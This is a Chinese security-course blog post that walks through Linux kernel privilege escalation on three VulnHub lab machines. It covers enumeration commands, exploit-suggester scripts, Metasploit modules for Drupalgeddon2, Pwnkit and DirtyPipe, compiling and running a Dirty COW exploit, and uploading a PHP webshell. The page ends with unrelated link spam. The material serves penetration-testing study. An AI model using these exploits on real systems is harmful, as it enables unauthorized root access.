当前位置: 首页 > news >正文

小迪安全v2023学习笔记(一百三十八讲)—— Linux系统权限提升内核溢出辅助项目VulnhubDcowPwnkitDirt

文章目录

  • 权限提升——第一百三十八天
    • Linux系统权限提升&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirt
      • 前置知识
        • Linux提权
        • 收集系统信息
        • 内核漏洞筛选
          • MSF检测
          • 提权脚本
          • 综合脚本
        • 漏洞检索
        • 常见的内核漏洞
        • 环境搭建
      • Linux系统提权 - Web&内核溢出-Dcow
        • 1. 信息收集
        • 2. 漏洞利用
        • 3. 内核提权
      • Linux系统提权 - Web&内核溢出-Pwnkit
        • 1. 信息收集
        • 2. Web漏洞利用
        • 3. 内核提权
      • Linux系统提权 - Web&内核溢出-DirtyPipe
        • 1. 信息收集
        • 2. Web漏洞利用
        • 3. 内核提权

权限提升——第一百三十八天

Linux系统权限提升&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirt

前置知识

Linux提权
  • 本节课关于Linux提权,我们所处的位置如下:
    在这里插入图片描述

  • 然后它的提权方式主要集中于:

    1. 内核溢出漏洞提权
    2. suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
    3. 数据库类型提权
  • 这里有分享一个关于Linux提权的好用网站:https://gtfobins.github.io/

收集系统信息
  • 本节课我们主要是利用Linux的内核漏洞去进行提权操作,因此在这之前需要收集目标系统上的信息
  • 获取目标主机的操作系统信息:
hostnamectl
cat /etc/*-release
lsb_release -a 
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release  # Centos
cat /etc/os-release  # Ubuntu
cat /etc/issue

在这里插入图片描述

  • 获取目标主机的内核版本:
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"

在这里插入图片描述

  • 这些信息都是可能会人为手动更改的,所以在实战中为了保险起见可以用多个命令看看版本是否一致
内核漏洞筛选
  • 然后我们收集完版本信息之后该怎么审查出存在哪些内核漏洞呢?这里介绍几款比较好用的工具
MSF检测
  • 可以直接通过MSF发现目标主机可能存在的内核漏洞:
use post/multi/recon/local_exploit_suggester
  • MSF免费版不推荐使用,能够直接筛查并利用的概率较低
提权脚本
  • 常用的,并且还比较好用的脚本工具有:
    1. https://github.com/liamg/traitor
    2. https://github.com/The-Z-Labs/linux-exploit-suggester:.sh文件,常用
    3. https://github.com/jondonas/linux-exploit-suggester-2:.pl文件
    4. https://github.com/belane/linux-soft-exploit-suggester:.py文件,有python环境时可以用
  • 使用的时候直接上传到目标主机上运行扫描即可
综合脚本
  • 然后也有不止搜索内核漏洞的,还会给出其他的提权方案工具如下:
    1. https://github.com/carlospolop/PEASS-ng
    2. https://github.com/diego-treitos/linux-smart-enumeration
    3. https://github.com/redcode-labs/Bashark
    4. https://github.com/rebootuser/LinEnum
  • 同样使用的时候直接上传到目标主机运行扫描即可
漏洞检索
  • 常用的漏洞检索网站:
    1. https://github.com/nomi-sec/PoC-in-GitHub
    2. https://www.exploit-db.com/
  • 或者直接github搜索对应的EXP,然后一定要注意一个不成功就多试几个,实在不行才换漏洞进行利用
常见的内核漏洞
  • 在Windows中,我们经常使用土豆家族进行提权,而在Linux中,与之类似的就是大名鼎鼎的脏牛漏洞
  • 当然还有一些其他的漏洞可以利用:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034) 
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛  (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829  
CVE-2022-2588 
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
......
环境搭建
  • 本节课我们会通过三个靶机案例,来展示如何从Web权限/计算机用户权限到达计算机系统权限,并且演示上述脚本工具,学会工具的利用
  • 靶场资源都是Vulhub中直接可以下载到的:Vulnerable By Design ~ VulnHub

Linux系统提权 - Web&内核溢出-Dcow

  • 靶场地址:https://www.vulnhub.com/entry/lampiao-1,249/
1. 信息收集
  • 这里我们启动虚拟机之后,不知道IP,也不知道开放了哪些端口,可以用nmap扫描,当然也可以用其他工具,比如Goby、Tscan都是可以的
nmap -p1-65535 192.168.0.0/24

在这里插入图片描述

  • 我们知道了目标主机的IP地址为192.168.0.138,并且开放了Web服务,所以就直接访问看看:
    在这里插入图片描述

  • 啥也没有,再看看1898端口:
    在这里插入图片描述

2. 漏洞利用
  • 发现它所用的CMS为Drupal,于是我们直接找找看有没有能够直接利用的框架漏洞:
    在这里插入图片描述

  • 然后这里就一个个试吧,要么再收集收集看看有没有泄露版本,要么就尝试用最新的漏洞:

use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.0.138
set rport 1898
run

在这里插入图片描述

  • 此时我们已经拿到shell了,但是需要提权到高权限用户,于是我们直接使用脚本
3. 内核提权
  • 因为这里是Linux,所以最好还是用shell脚本(.sh)文件进行利用,因为不用额外的环境
  • 将该脚本下载到本地之后,尝试上传/让对方下载:
upload /home/kali/Desktop/linux-exploit-suggester.sh /tmp/1.sh

在这里插入图片描述

  • 然后我们进入目标主机的shell终端,运行这个脚本文件:
cd /tmp
chmod +x 1.sh
./1.sh

在这里插入图片描述

  • 它就会匹配可能存在的内核漏洞,在实战中就一个个试就行,这里我们就直接用这个CVE-2016-5195脏牛漏洞进行利用

  • 我们确定用这个漏洞之后,就去上面给的网站搜索对应的EXP脚本了:
    在这里插入图片描述

  • 这里我们找的EXP为:https://github.com/gbonacini/CVE-2016-5195

  • EXP是CPP文件,下载下来之后,我们尽可能是在目标网站上进行编译,如果目标网站没有对应环境的话,就在本地找一个内核类似的主机进行编译

  • 比如这里我在本地的kali上编译之后再上传到目标主机运行就会报错:
    在这里插入图片描述

  • 这里还是上传到目标主机上去编译,基本Linux都会装gcc,所以这个没有太大的必要担心:

upload /home/kali/Desktop/dcow.cpp /tmp/dcow.cpp
shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

在这里插入图片描述

  • 然后这里就直接尝试运行这个文件:
chmod +x dcow
./dcow

在这里插入图片描述

  • 这里因为漏洞提权的原理是更改root的密码,所以我们需要进入交互式的终端才能使用su命令切换用户:
# 没有python环境可以反弹shell到其他地方
python -c 'import pty; pty.spawn("/bin/bash")'
su root
# 然后输入密码dirtyCowFun提权

在这里插入图片描述

Linux系统提权 - Web&内核溢出-Pwnkit

  • 靶场地址:https://www.vulnhub.com/entry/darkhole-1,724/
1. 信息收集
  • 同样,靶机搭建成功之后,namp搜集信息:
nmap -p1-65535 192.168.0.0/24

在这里插入图片描述

  • 开启了Web服务,看看有没有漏洞:
    在这里插入图片描述
2. Web漏洞利用
  • 这里有个登录功能,一般尝试忘记密码、注册、SQL注入等手段看看能不能进入后台,我们随便注册个账号进入后台:
    在这里插入图片描述

  • 这里直接可以看到的是参数里面有id=2,尝试更改为1,有鉴权:
    在这里插入图片描述

  • 换个思路,看到有个更新信息和密码的功能页面,都尝试一下,然后抓包看看:
    在这里插入图片描述

  • 修改id为1,发包,也没任何反应,尝试用刚才修改的密码登录admin用户:
    在这里插入图片描述

  • 成功登入,有文件上传点,尝试文件上传:
    在这里插入图片描述

  • 然后使用哥斯拉连接:
    在这里插入图片描述

3. 内核提权
  • 上传第一个案例中的.sh脚本文件检测内核漏洞:
    在这里插入图片描述

  • 使用哥斯拉自带的PMeterpreter插件转到MSF中,再次运行该脚本文件:
    在这里插入图片描述

  • 然后检索这个漏洞,这里MSF中就自带了这个洞,可以尝试利用一下:
    在这里插入图片描述

use 0
set session <n>
run

在这里插入图片描述

Linux系统提权 - Web&内核溢出-DirtyPipe

  • 靶场地址:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1. 信息收集
  • 用nmap先扫描一下:
nmap -p1-65535 192.168.0.0/24

在这里插入图片描述

  • 同样开了Web服务,直接访问:
    在这里插入图片描述

  • 没啥信息,这里是CTF题,没思路就尝试扫描目录,看看有没有什么线索,可以用dirsearch、御剑、gobuster等工具扫(主要是看字典):

gobuster dir -u http://192.168.0.140 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

在这里插入图片描述

  • 这里扫到了这个文件,点进去看看:
    在这里插入图片描述

  • 能够传入信息,然后POST提交,随便提交一个抓包看参数:
    在这里插入图片描述

  • 这里应该前面是消息内容,后面是消息保存的文件名,放包之后看看这个文件存不存在即可验证:
    在这里插入图片描述

2. Web漏洞利用
  • 于是我们想到传入一句话木马,然后将这个文件名修改为php文件,看能否创建成功:
    在这里插入图片描述
    在这里插入图片描述

  • 成功解析,尝试哥斯拉连接:
    在这里插入图片描述

3. 内核提权
  • 与之前一样,先将他反弹到MSF中,上传.sh脚本文件看是否存在提权漏洞:
    在这里插入图片描述

  • 找到一个DirtyPipe的内核漏洞,然后我们先在MSF中看看有没有现成的攻击脚本:
    在这里插入图片描述

  • 确实有,那就直接尝试利用:

use 0
set session <n>
set lhost 192.168.0.129
run

在这里插入图片描述

  • 可以看到提权成功
http://www.dtcms.com/a/529948.html

相关文章:

  • 网站快速收录付费入口企业网站制作比较好的
  • 开创网站要怎么做微信公众号绑定网站
  • 深圳 汽车网站建设江苏省建设考试信息管理系统网站
  • “人可以向前走“与“空间是螺旋运动的“并不矛盾——时空螺旋运动与局部运动的统一:基于张祥前统一场论的完备推导
  • 可以做软件外包项目的网站电子商务网站建设ppt模板
  • 有哪些可以做课件赚钱的网站平面设计风格有哪些类型
  • 个人房源网seo专员
  • 网站图片怎么换南昌建设局网站查询塔吊证
  • 不记得在哪里做的网站备案上海上市公司100强
  • Codeforces 1060 Div2(ABC1C2D)
  • 代码随想录 617.合并二叉树
  • 上贵州省建设厅的网站深圳网站制作公司讯
  • 为什么要做一个营销型网站揭阳网站制作软件
  • 集团网站设计特性怎样将网站建设后台装到云上
  • 二手交易平台网站的建设青岛手机端网络推广培训
  • C++ brpc Channel 管理封装方案
  • 合肥网站建设报价做美食教程的网站
  • 企业网站空间买虚拟主机网站做后怎么可以在百度搜索到
  • 网站建设部岗位职责直播软件开发公司
  • app免费制作网站模板北京最新新闻
  • 网站建设物理架构服务管理系统
  • 网站备案 法人变更做品牌网站找谁
  • 使用 C# 流式解析 超大XML:按路径遍历子节点的实用方法
  • 网站建设 成都上海网站建设就q479185700顶上
  • 中小企业网站制作广州网络服务公司找赛合公司点个赞科技 网站制作
  • 网站建设 全是乱码百度一下你就知道官网网页版
  • 网站域名注册证明wordpress页面布局插件
  • Java 项目 — 五种创建方式
  • 可以做推文的网站为何公司做的网站很丑
  • 宜春网站开发公司电话可以用来展示的网站